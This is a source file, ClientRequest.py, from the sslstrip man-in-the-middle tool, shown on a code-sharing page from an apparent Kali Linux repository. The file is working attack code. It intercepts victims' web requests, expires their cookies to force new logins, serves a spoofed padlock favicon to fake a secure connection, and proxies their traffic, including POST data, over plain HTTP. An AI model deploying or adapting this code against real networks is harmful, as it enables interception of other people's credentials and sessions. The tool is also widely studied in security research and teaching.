Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
nu11secur1ty
GitHub Repository: nu11secur1ty/Kali-Linux
Path: blob/master/sslstrip-work-2019/sslstrip/ClientRequest.py
1306 views
1
# Copyright (c) 2004-2009 Moxie Marlinspike
2
#
3
# This program is free software; you can redistribute it and/or
4
# modify it under the terms of the GNU General Public License as
5
# published by the Free Software Foundation; either version 3 of the
6
# License, or (at your option) any later version.
7
#
8
# This program is distributed in the hope that it will be useful, but
9
# WITHOUT ANY WARRANTY; without even the implied warranty of
10
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11
# General Public License for more details.
12
#
13
# You should have received a copy of the GNU General Public License
14
# along with this program; if not, write to the Free Software
15
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16
# USA
17
#
18
19
import urlparse, logging, os, sys, random
20
21
from twisted.web.http import Request
22
from twisted.web.http import HTTPChannel
23
from twisted.web.http import HTTPClient
24
25
from twisted.internet import ssl
26
from twisted.internet import defer
27
from twisted.internet import reactor
28
from twisted.internet.protocol import ClientFactory
29
30
from ServerConnectionFactory import ServerConnectionFactory
31
from ServerConnection import ServerConnection
32
from SSLServerConnection import SSLServerConnection
33
from URLMonitor import URLMonitor
34
from CookieCleaner import CookieCleaner
35
from DnsCache import DnsCache
36
37
class ClientRequest(Request):
38
39
''' This class represents incoming client requests and is essentially where
40
the magic begins. Here we remove the client headers we dont like, and then
41
respond with either favicon spoofing, session denial, or proxy through HTTP
42
or SSL to the server.
43
'''
44
45
def __init__(self, channel, queued, reactor=reactor):
46
Request.__init__(self, channel, queued)
47
self.reactor = reactor
48
self.urlMonitor = URLMonitor.getInstance()
49
self.cookieCleaner = CookieCleaner.getInstance()
50
self.dnsCache = DnsCache.getInstance()
51
# self.uniqueId = random.randint(0, 10000)
52
53
def cleanHeaders(self):
54
headers = self.getAllHeaders().copy()
55
56
if 'accept-encoding' in headers:
57
del headers['accept-encoding']
58
59
if 'if-modified-since' in headers:
60
del headers['if-modified-since']
61
62
if 'cache-control' in headers:
63
del headers['cache-control']
64
65
return headers
66
67
def getPathFromUri(self):
68
if (self.uri.find("http://") == 0):
69
index = self.uri.find('/', 7)
70
return self.uri[index:]
71
72
return self.uri
73
74
def getPathToLockIcon(self):
75
if os.path.exists("lock.ico"): return "lock.ico"
76
77
scriptPath = os.path.abspath(os.path.dirname(sys.argv[0]))
78
scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico")
79
80
if os.path.exists(scriptPath): return scriptPath
81
82
logging.warning("Error: Could not find lock.ico")
83
return "lock.ico"
84
85
def handleHostResolvedSuccess(self, address):
86
logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host'), address))
87
host = self.getHeader("host")
88
headers = self.cleanHeaders()
89
client = self.getClientIP()
90
path = self.getPathFromUri()
91
92
self.content.seek(0,0)
93
postData = self.content.read()
94
url = 'http://' + host + path
95
96
self.dnsCache.cacheResolution(host, address)
97
98
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
99
logging.debug("Sending expired cookies...")
100
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
101
host, headers, path))
102
elif (self.urlMonitor.isSecureFavicon(client, path)):
103
logging.debug("Sending spoofed favicon response...")
104
self.sendSpoofedFaviconResponse()
105
elif (self.urlMonitor.isSecureLink(client, url)):
106
logging.debug("Sending request via SSL...")
107
self.proxyViaSSL(address, self.method, path, postData, headers,
108
self.urlMonitor.getSecurePort(client, url))
109
else:
110
logging.debug("Sending request via HTTP...")
111
self.proxyViaHTTP(address, self.method, path, postData, headers)
112
113
def handleHostResolvedError(self, error):
114
logging.warning("Host resolution error: " + str(error))
115
self.finish()
116
117
def resolveHost(self, host):
118
address = self.dnsCache.getCachedAddress(host)
119
120
if address != None:
121
logging.debug("Host cached.")
122
return defer.succeed(address)
123
else:
124
logging.debug("Host not cached.")
125
return reactor.resolve(host)
126
127
def process(self):
128
logging.debug("Resolving host: %s" % (self.getHeader('host')))
129
host = self.getHeader('host')
130
deferred = self.resolveHost(host)
131
132
deferred.addCallback(self.handleHostResolvedSuccess)
133
deferred.addErrback(self.handleHostResolvedError)
134
135
def proxyViaHTTP(self, host, method, path, postData, headers):
136
connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
137
connectionFactory.protocol = ServerConnection
138
self.reactor.connectTCP(host, 80, connectionFactory)
139
140
def proxyViaSSL(self, host, method, path, postData, headers, port):
141
clientContextFactory = ssl.ClientContextFactory()
142
connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
143
connectionFactory.protocol = SSLServerConnection
144
self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory)
145
146
def sendExpiredCookies(self, host, path, expireHeaders):
147
self.setResponseCode(302, "Moved")
148
self.setHeader("Connection", "close")
149
self.setHeader("Location", "http://" + host + path)
150
151
for header in expireHeaders:
152
self.setHeader("Set-Cookie", header)
153
154
self.finish()
155
156
def sendSpoofedFaviconResponse(self):
157
icoFile = open(self.getPathToLockIcon())
158
159
self.setResponseCode(200, "OK")
160
self.setHeader("Content-type", "image/x-icon")
161
self.write(icoFile.read())
162
163
icoFile.close()
164
self.finish()
165
166